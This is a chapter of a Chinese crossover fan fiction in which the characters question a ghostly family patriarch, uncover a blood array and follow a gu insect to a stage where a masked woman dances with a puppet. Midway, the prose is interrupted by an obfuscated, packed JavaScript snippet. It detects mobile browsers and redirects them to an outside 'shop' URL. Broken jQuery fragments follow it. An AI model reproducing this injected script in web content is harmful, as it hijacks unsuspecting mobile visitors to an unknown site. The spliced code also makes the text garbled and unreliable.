24.蛊术家族布邪阵

作品:《[综原铁绝]清洁工npc的神奇拖把

    “穆家究竟发生了什么事?”丹恒神色凝重地问道。


    家主有些颓丧地跪坐在地上,全然不再能看出曾经的风光:“这都是命数啊……”


    他开始断断续续地讲述穆家一路以来的艰辛历程,最初是他在村子里种出了早已灭绝的红素花,因此他迈出深山,独自一人前往璃月港打拼。


    他先是售卖红素花,成家后妻子主动制作香囊,随后他们的店铺小有规模,他便尝试买田种花,逐渐形成一条产业链。


    等穆家终于有了名气,他已经有了三个儿子,可惜一直没有女儿。


    所以他和妻子收养了一名流浪少女,并命名为“梦觉”。


    梦觉的嗅觉一直很好,能蒙眼辨认出不同的花卉品种,他就有心引导其配置香水,果然梦觉在这个领域展现出了惊人的天赋。


    “你不知道梦觉一直受家里人的歧视吗?”三月七不禁出声询问。


    家主沉默了,他艰难地张开嘴,却发不出任何声音。


    他不知道吗?


    不,他其实一直知道。


    梦觉很坚强,就算被别人忽视也不气馁,而是越挫越勇。


    他本来以为……梦觉不会在意的……


    家主继续往下讲述:


    但好景不长,支撑着他发家的红素花在一夜之间全都枯萎,他们的花田也被未知的化学试剂污染。


    同行开始对他们使绊子,而穆家也险些失去了所有产业。


    迫不得已之下,他只好选择购买假花,让梦觉搭配香精制作香水。


    梦觉并不同意,认为这是欺瞒消费者,他们因此大吵了一架。


    后来他只好离家前往璃月各地,与那些知名产业老板寻求合作,可惜无人相信他们穆家是清白的。


    等他落魄回家后,他的长子忽然对他说,梦觉愿意与其他花田产业的老板进行商业联姻。


    他还不可置信地独自询问梦觉,对方却红着脸说她愿意……


    所以,悲剧发生了。


    “喂,你该不会就是笼统地问了一句‘你愿意嫁给那个人吗’,万一那傻姑娘以为自己嫁的是她那心心念念的夜阑哥呢?”星砸吧着嘴吐槽。


    “……”他其实什么都知道,只是想这么蒙蔽自己罢了。


    “在梦觉死后,你们家族的丑闻被曝光?然后发生了什么?”丹恒看着他。


    家主疲惫地说道:“我们家的人就接连死去,死后的灵魂回到了带有实验室的这座宅子里,根本出不去。”


    华藿听得皱起眉,好像还是差点什么。


    藿藿则一头雾水,感觉自己像是速通了一部八十集的狗血家庭伦理连续剧。


    尾巴大爷慢悠悠地说道:“这破宅子里一共有六只鬼,老头儿你想想是不是少了谁?”


    家主还真的冥思苦想了一番:“我,我妻子,我二儿子,二儿媳,尚未出世的孙子,三儿子……”


    穆夜阑呢?


    家主也有些茫然:“我并没有在这座宅子里见到夜阑……”


    “哇偶,恭喜哟,他估计是没死透溜之大吉了~”尾巴大爷长长打了个哈欠。


    “那你知道璃月港现在出现了一个擅长操控蛊术的家族吗?他们倡导用美梦换愿望,现在有好多人得了失眠症。”星突然发问。


    家主疑惑摇头。


    行吧,看来也问不出什么有用的线索了。


    “藿藿,你能想办法找出他们被困在宅子的原因吗?”星扭头看向一直握着令旗的藿藿。


    藿藿犹豫地答道:“我试试……”


    尾巴大爷闻言不屑地冷哼了一声,而藿藿舞动手中的令旗,霎时间她的身上冒出旺盛的荧绿色火焰,逐渐铺散开来席卷整个宅院。


    “驱邪……避凶!”她挥动旗子,庭院中覆盖的尘土被火焰灼烧得漫天飞舞。


    除了变成鬼的家主和尾巴大爷以外,所有人都被尘土呛得咳嗽不断。


    一片烟雾过后,庭院中央出现了猩红的血阵,看着就很是触目惊心。


    藿藿也没料到自己随手施法就召唤出了个邪阵,吓得一动也不敢动。


    尾巴大爷但是颇感兴趣地推着她往前走,主动嗅了嗅血阵:“血液已经凝固了。”


    藿藿欲哭无泪:“这是谁的血啊……”


    “嘁,不是人的还是鬼的?我看八成就是那个什么夜兰搞的……”


    “他叫穆夜阑……”


    “怎么?少一个字而已!”


    眼看一人一尾又要吵起来,星忙不迭走过去把他们一前一后分开。


    “邪阵?丹恒你能看出来吗?”她回头求助丹恒。


    丹恒蹲下身,伸手摩挲着地面,片刻后摇摇头:“看不出来。”


    小马又重新调整好了相机,对准邪阵一顿拍,眼睛里满是找到新头条的兴奋。


    “诶,家主你不出来看看吗?”三月七走到一半才想到那老头并没有动。


    被贴住纸人定在原地的家主无能狂怒:“你看我能动吗?!”


    华藿问:“这个阵要怎么解啊?”


    藿藿说:“要找到用血画阵的那个人才行。”


    星“诶”了一声,掏出那只趴着小憩的蛊虫,让它闻了闻那个阵。


    蛊虫换了个方向趴着。


    “能行!”星爱不释手地亲了蛊虫一大口,三月七惨不忍睹地捂住了脸。


    他们自然是跟着蛊虫去找那个画阵人,而小马自然也不会放过这个能拍到头条的大好机会死缠烂打也要跟着他们走。


    众人离开宅子之后,被遗忘的家主只能继续坐在地上充当一个木头人。


    过了许久,一阵沉重的脚步声越来越近。


    “……你来了。”


    身穿黑衣的女人在距离他几步在站定,挑眉说道:“看来一张小纸人就能把堂堂家主定在原地,真是好笑。”


    “你早就来了,为什么不见我?”


    翡寒嗤笑道:“那里面有好几个老熟人,要是被他们发现了……我该怎么解释呢?”


    女人的声音低沉沙哑,一字一句都重重敲在家主的头上:“向他们解释……我在跳海后失去了记忆,现在的你对于我来说只是个比较熟悉的陌生人而已?”


    “梦觉……是我错了……”


    翡寒走过去,居高临下地看着他,忽然露出一抹笑:“错的可不止是你。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143934|195069||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她伸手将贴在家主脸上的纸人撕了下来,随后扬长离去。


    ……


    蛊虫指引的方向是另一条路,星感觉周围的迷雾更加浓郁,远处还隐约传来失眠患者的哀嚎声。


    这次藿藿也加入了“胆小鬼抱团组”,三个人互相拉扯着一步步向前走去,还时不时被扮鬼的尾巴大爷给吓到。


    “这条路好熟悉……”华藿总觉得前面会出现一座新的宅子。


    “肯定熟悉啊,前面就是咱们要蛊虫的地方了。”星长长叹了口气。


    要蛊虫的地方?那不就是那个办理“用美梦换愿望”的蛊术家族?


    “其实他们看起来就像是会画血阵的……”三月七小声附和。


    不知不觉间,众人已经来到了庭院的大门口,很可惜这扇木门已经紧紧闭合,也没有人再排着队。


    这是下班了?


    星试着推了推门,在确认那扇门终于纹丝不动后,只好继续往前走。


    他们一路走回了璃月港,现在已是入夜,周边也华灯初起。


    那些失眠的人都三三两两聚在一次,眼下浓浓的青黑也挡不住他们举杯对月的激情。


    华藿注意到了他们身上都分别趴着一只蛊虫,这是他们用自己的美梦换来的“愿望实现器”?


    “好奇怪……”


    “这简直是大型病友交流会啊!”托着蛊虫的星俨然已经被归为了病友的一员。


    有的人拿着自己的蛊虫主动跟她交流:


    “姑娘,你的是什么蛊?我这个可是万里挑一的‘寻金蛊’,方圆百里的金子都被我挖了个遍……”


    这真的不会被千岩军抓起来吗?!


    “诶,我这个可是‘下毒蛊’,我让蛊虫将那群仇人都咬了个遍,现在他们还在医馆排排躺呢哈哈哈哈!”


    这人是结了多少仇家?!


    星随意地应付了几句,总算从那些人的包围中冲出,继续按照蛊虫指明的方向前进。


    结果走着走着,他们来到了那处被幕布盖住的戏台前,这就是蛊虫指出的终点。


    “罪魁祸首在台子后面吗?”三月七轻声问。


    此话一出,所有人都戒备地拿出自己的武器,将毫不知情的小马和藿藿护在身后。


    藿藿看到她的老乡掏出比她还高的拖把,心里瞬间感动至极。


    “咚——子时到——”


    戏台周围的红灯笼再次亮起。


    吱呀一声,幕布缓缓向两侧拉开。


    台心立着一位身着艳红长裙的女子,面上覆着同色轻纱,只露出一截苍白下颌。


    她唇角微扬,垂在身侧的指尖轻轻一挑,数缕红线射出,另一端系在与她等高的人偶身上。


    人偶随着红线的牵扯而抬臂,优雅地搂过女人的腰,与她在台上翩翩起舞,献出完美的双人华尔兹。


    轻纱之下,女子嗓音婉转,悠悠戏词随夜风漫开:


    “一缕美梦换心愿,今宵缘尽曲声残。”


    女人再次旋转,衣角掠过了离着台子最近的华藿身上,浓郁的花香味扑面而来。


    “前尘旧愿皆收罢,三日后,戏台开宴,织尽千梦作终场——”